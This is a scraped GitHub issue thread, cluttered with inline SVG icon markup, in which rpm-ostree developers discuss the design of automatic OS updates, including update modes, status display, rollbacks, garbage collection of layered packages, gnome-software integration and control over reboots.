5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0
8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z' data-evernote-
id='1614' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Open

####  rojig: mark rojigRPM as security update if a new member RPM is a
security update \#1133

###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-pencil js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='44'%3e%3cpath fill-rule='evenodd' d='M0 12v3h3l8-8-3-3-8 8zm3
2H1v-2h1v1h1v1zm10.3-9.3L12 6 9 3l1.3-1.3a.996.996 0 0 1 1.41 0l1.59
1.59c.39.39.39 1.02 0 1.41z' data-evernote-id='1621' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' /> <img src='img/11934099' width='16'
height='16' /> jlebon changed the title ~~integrate optional systemd timer for
individual host automatic upgrades~~ ⌚️ Automatic updates  on Dec 5, 2017

###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-tag js-evernote-checked' viewBox='0 0 14 16'
version='1.1' width='14' height='16' aria-hidden='true' data-evernote-
id='45'%3e%3cpath fill-rule='evenodd' d='M7.73 1.73C7.26 1.26 6.62 1 5.96
1H3.5C2.13 1 1 2.13 1 3.5v2.47c0 .66.27 1.3.73 1.77l6.06 6.06c.39.39 1.02.39
1.41 0l4.59-4.59a.996.996 0 0 0 0-1.41L7.73 1.73zM2.38
7.09c-.31-.3-.47-.7-.47-1.13V3.5c0-.88.72-1.59 1.59-1.59h2.47c.42 0 .83.16
1.13.47l6.14 6.13-4.73 4.73-6.13-6.15zM3.01 3h2v2H3V3h.01z' data-evernote-
id='1628' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> <img
src='img/11934099' width='16' height='16' /> jlebon added the  jira label on
Dec 5, 2017

<img src='img/14297_4530030' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='46'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1642'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Collaborator This user has been invited to collaborate on the rpm-ostree
repository.

###  **dustymabe ** commented on Dec 6, 2017

In that status output I think `Available Update` vs `Pending Update` would
probably be more appropriate especially if we haven't staged a deployment. The
we should probably list the state of the update: not downloaded, downloaded,
deployed and staged for next reboot. We can come up with more succinct words
to describe those states.  
---  
<img src='img/11934099' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='47'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1669'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **jlebon ** commented on Dec 7, 2017

Definitely, we need to describe the state as well. Another interesting piece
of information that would be worth displaying is the size of the download.
Interestingly, this is something we can easily calculate for jigdo remotes. In
the ostree remote case, we can only display that if there are static deltas.  
---  
<img src='img/14297_4530030' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='48'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1696'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Collaborator This user has been invited to collaborate on the rpm-ostree
repository.

###  **dustymabe ** commented on Dec 14, 2017

ok. one other thing I wonder if we're covering: `automatic rollbacks based on
some conditions`. If we enable automatic updates including the reboot then we
should at least think about `automatic rollbacks` in case of some sort of
failure. For this we can only do so good since the mechanism that triggers the
rollback would depend on the system coming up at least somewhat, but it is
something I'd love to see us brainstorm.  
---  
<img src='img/11934099' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='49'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1723'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **jlebon ** commented on Dec 14, 2017

Right, this is \#177. I'm open to discuss whether to hide the `reboot` mode
until that's supported. At the very least, we'd need a warning of some sort to
make that clear. OTOH, I don't want to completely _not_ support `reboot`
because of that either. E.g. I don't mind taking on the risk for my pet home
servers. :\)  
---  
<img src='img/14297_4530030' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='50'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1751'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Collaborator This user has been invited to collaborate on the rpm-ostree
repository.

###  **dustymabe ** commented on Dec 14, 2017

> Right, this is \#177.
cool  
---  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='51'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='1773' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> <img src='img/11934099'
width='16' height='16' /> jlebon referenced this issue  on Dec 21, 2017

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='14' class='octicon octicon-git-pull-request js-evernote-checked'
viewBox='0 0 12 16' version='1.1' width='10' aria-hidden='true' data-evernote-
id='52'%3e%3cpath fill-rule='evenodd' d='M11
11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3
3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993
1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0
1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1
3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98
1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2
1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65
0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='1776' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Merged

####  Include update severity level in updateinfo.xml \#2099

<img src='img/11934099' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='53'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1790'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **jlebon ** commented on Jan 5, 2018

WIP in \#1147.  
---  
###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='54'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='1810' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> <img src='img/14293_244096'
width='16' height='16' /> cgwalters referenced this issue  on Jan 16, 2018

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='14' class='octicon octicon-issue-opened js-evernote-checked'
viewBox='0 0 14 16' version='1.1' width='12' aria-hidden='true' data-evernote-
id='55'%3e%3cpath fill-rule='evenodd' d='M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56
5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0
8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z' data-evernote-
id='1813' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Open

####  \(rpm-\)ostree pkg: prepare for jigdo \#8435

###  <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-bookmark js-evernote-checked' viewBox='0 0 10 16'
version='1.1' width='10' height='16' aria-hidden='true' data-evernote-
id='56'%3e%3cpath fill-rule='evenodd' d='M9 0H1C.27 0 0 .27 0 1v15l5-3.09L10
16V1c0-.73-.27-1-1-1zm-.78 4.25L6.36 5.61l.72 2.16c.06.22-.02.28-.2.17L5 6.6
3.12
7.94c-.19.11-.25.05-.2-.17l.72-2.16-1.86-1.36c-.17-.16-.14-.23.09-.23l2.3-.03.7-2.16h.25l.7
2.16 2.3.03c.23 0 .27.08.09.23h.01z' data-evernote-id='1819' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> <img src='img/11934099'
width='16' height='16' /> jlebon referenced this issue  on Jan 19, 2018

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
height='14' class='octicon octicon-git-pull-request js-evernote-checked'
viewBox='0 0 12 16' version='1.1' width='10' aria-hidden='true' data-evernote-
id='57'%3e%3cpath fill-rule='evenodd' d='M11
11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3
3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993
1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0
1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1
3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98
1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2
1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65
0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z' data-evernote-id='1822' class='js-
evernote-checked'%3e%3c/path%3e%3c/svg%3e' /> Closed

####  ⌚️ Initial support for automatic updates \#1147

<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='58'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1836'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Jan 19, 2018

OK so let's try to agree on what happens with the "first cut" of this. Are we
thinking that we'll land this but it will just be disabled by default and
people who want it can opt-in for now? I'm _generally_ OK with that. But there
are definitely issues in turning on even `check` by default. A good example of
a past conversation is around including fedora-motd in Atomic Host. Now a good
thing here is we're not triggering the updates out of PAM. But we still have
the problem for example that a _whole lot_ of people need to configure a
proxy. What I'd like to see for example is adding the notion of "auto-
cancellable transactions" or so. Basically if while the `rpm-ostree upgrade
--automatic` timer is running, I do `rpm-ostree override remove` or whatever,
I don't want to get an error and have to `rpm-ostree cancel`. Further a whole
big conceptual issue the degree to which our systemd units are "special". We
also need to support e.g. gnome-software, Cockpit, and also Ansible at least;
@jlebon mentioned that in

> I feel like between all of these steps, at least for the desktop we need to
> think about having gnome-software be in control of triggers. Similarly for
> server side, Ansible control for blue/green.
I think in the "personal desktop" case it's pretty clear gnome-software could
just frob the settings in the config file \(do we own the polkit gateway for
that? expose an API?\) BTW down the line for the "CSB laptop" case I'd
actually like to support a mode where if e.g. someone has their laptop
suspended/turned off for a month while they go on vacation, when they boot up
Internet access is disabled for everything except rpm-ostree upgrades until
they get updated. I'm sure some people would _despise_ this idea but if we
make updates fast and painless we can get a lot closer to having both security
and convenience.  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='59'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1874'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Jan 19, 2018

\(Actually for the desktop case implementing that is probably a gnome-software
thing given flatpaks need updating too\)  
---  
<img src='img/498858' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='60'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1901'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Contributor This user has previously committed to the rpm-ostree repository.

###  **kalev ** commented on Jan 19, 2018

Instead of a config file, I think it may be easier to have gnome-software
drive the automatic updates over dbus -- it already has a session service
specifically for that purpose. This way it could also make sure that base OS
and flatpak updates are applied at the same time, reducing user interruptions
etc. Would that make sense?  
---  
<img src='img/11934099' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='61'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1928'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **jlebon ** commented on Jan 19, 2018

That makes sense and is part of the design in \#1147. Basically, gnome-
software could just turn off the timer and call `AutomaticUpdateTrigger()` at
its leisure. We don't support a `deploy` mode right now since it wouldn't make
sense from a timer without fixing \#40 first. But in an "update & reboot"
model, \#40 is less relevant, and we can add support for that. \(Of course,
that can be done today as well with the code in \#1147 by just using a follow-
up `UpdateDeployment()` in `cache-only` mode.\)  
---  
<img src='img/498858' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='62'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1955'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Contributor This user has previously committed to the rpm-ostree repository.

###  **kalev ** commented on Jan 19, 2018

That sounds great\! Let me see if I can quickly hack up gnome-software to make
use of the new goodness and then report back on Monday or so.  
---  
<img src='img/14297_4530030' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='63'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='1982'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Collaborator This user has been invited to collaborate on the rpm-ostree
repository.

###  **dustymabe ** commented on Jan 19, 2018

@kalev, is there any sort of gnome-software cli? gnome-software incorporates
rpms, faltpaks, firmware, ostree??, it would be really nice to have something
like that on my Atomic Host \(not workstation\) system in a cli form to report
potential updates and allow me to choose what to install. related discussion
in \#405 \(comment\)  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='64'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2013'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Jan 19, 2018

> rpm-ostree auto-updates --disable/--enable=$MODE
Yeah, I like that. But it's something we can do later.  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='65'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2042'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Jan 19, 2018

The topic I have in mind now is _partially_ a design thing but also partially
implementation. Basically with `--download-only`, for base ostree updates we
end up holding a strong reference to both the new and old commits \(the former
via the ref update, the latter via the magic `ostree/N/M` deployment refs\).
But nothing holds a ref to \(imported\) layered packages, so doing other
operations \(e.g. `rpm-ostree initramfs --enable`\) could end up pruning them
as part of our normal GC. These issues are why I feel like everything is going
to work out a _lot_ better after we do \#40  
Deployments are the basis of a lot of things in the implementation, and it
leaks through a lot into the UI. I guess a root question here is - after \#40
is implemented - who would want to use `download`? Would we change the
semantics of it to start being "download and make pending", i.e. we actually
assemble the filesystem, run scripts etc.?  
---  
<img src='img/11934099' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='66'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2076'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **jlebon ** commented on Jan 19, 2018

> I guess a root question here is - after \#40 is implemented - who would want
> to use download?
Yeah, that's a good point. I'm a bit on the fence on this one. Maybe let's
rephrase it a different way. A `deploy` policy allows sysadmins to queue up an
update until the next convenient reboot time. OTOH, a `download` policy
basically means that your decision to update is decoupled from your decision
to reboot. You may reboot at any time, but only update when you're ready. The
advantage over `check` is that you minimize downtime by having everything
already cached. So the question is, are there contexts where this distinction
is relevant? I think I would answer "probably?", though I don't have any clear
cut examples to present. It is really cool though that our update model allows
us to even make this distinction and it's nice to expose that. But clearly the
GC issue is a thorn. Maybe the first cut should be restricted to `off`,
`check`, and `reboot`? \(At least as documented\).  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='67'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2108'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Jan 19, 2018

We can actually cut yet another distinction here...say `deploy` and `prepare`
perhaps? The difference between the two is simply whether or not the `ostree-
complete-pending.service` \(or whatever we decide to call it\) runs by default
on shutdown or not. In `prepare` we wouldn't run the service, meaning that
whether or not the update takes effect is completely independent of rebooting.
Broadly speaking...I think `deploy` might be better for servers but `prepare`
better for desktops, like the UI would have a button that says "Yes I want to
update" or something?  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='68'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2137'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Jan 19, 2018

> But clearly the GC issue is a thorn. Maybe the first cut should be
> restricted to off, check, and reboot? \(At least as documented\).
If we don't want to block on \#40 \(let's start calling it "pending deploys"\)
then...yeah, I'm OK with that. It'd certainly be a cool milestone to at least
have e.g. gnome-software doing update notifications with "check" and being
able to then take it to "reboot". Maybe something like what iOS does with
"schedule update between 2am-4am"? Or...it probably might work to have a
"download but don't import" phase? That's what PK's offline updates does...it
would sidestep the GC issue, but be less elegant.  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='69'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2167'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Jan 19, 2018

The reason I brought this up is I was reading your "rpmmd diff" code and while
it all looks good offhand, it's also complex - and that's not your fault it's
just the problem domain\!. But...a whole lot of things get simpler if we
primarily do `prepare` updates, and then do the diff of _that_ , which is
_exactly_ the same code path we have for upgrade + diff today. It's just
fundamentally more reliable since we're only doing e.g. the depsolve once. \(I
think I babbled about this before but I have no idea where to find that
discussion\) The counter here though is that some use cases want to show e.g.
how much will be downloaded _before_ actually doing it. And particularly with
layering involved we can't do that until we depsolve. Which...hm maybe _is_
your `check` phase. So I guess we do need that. I'm keeping this whole comment
here since it might be useful, hopefully?  
---  
<img src='img/244096' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='70'%3e%3cpath fill-rule='evenodd' d='M1.5
9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3zm5 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0
3zM13 7.5a1.5 1.5 0 1 1-3 0 1.5 1.5 0 0 1 3 0z' data-evernote-id='2202'
class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />

Member This user is a member of the Project Atomic organization.

###  **cgwalters ** commented on Jan 25, 2018

## Timing of the reboot

There's a pretty huge semantic difference between `reboot` and anything
not-`reboot`. Having it executed out of the same timer unit feels...weird. I
think people are going to want a _lot_ of control over the reboots. This came
up on IRC earlier. WDYT about actually having separate systemd units for this?
Something like: `rpm-ostree-reboot-for-updates.{timer,service}`? That way
someone could easily unconditionally `systemctl mask rpm-ostree-reboot-for-
updates.service` rather than editing the config file. I think what I'm getting
at here is I can see it being extremely common for "management tools" like
gnome-software/Cockpit/Ansible to want a lot of fine grained control over the
reboot cycle. It feels really like we should encourage people to always use
`check`/`deploy` in the config, and use mgmt tools for rebooting
\(particularly in the desktop case\). Our `reboot-for-updates.timer` is then a
_really_ simple policy engine for people who don't have a management tool
\(say IoT devices without reliable internet that you just want to auto-apply
updates as they make it to the device\).  
---  
<img src='img/22840230' width='44' height='44' />

<img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' aria-
label='Show options' class='octicon octicon-kebab-horizontal js-evernote-
checked' viewBox='0 0 13 16' version='1.1' width='13' height='16' aria-
hidden='true' data-evernote-id='71'%3e%3cpath fill-rule='evenodd' d='M1.5
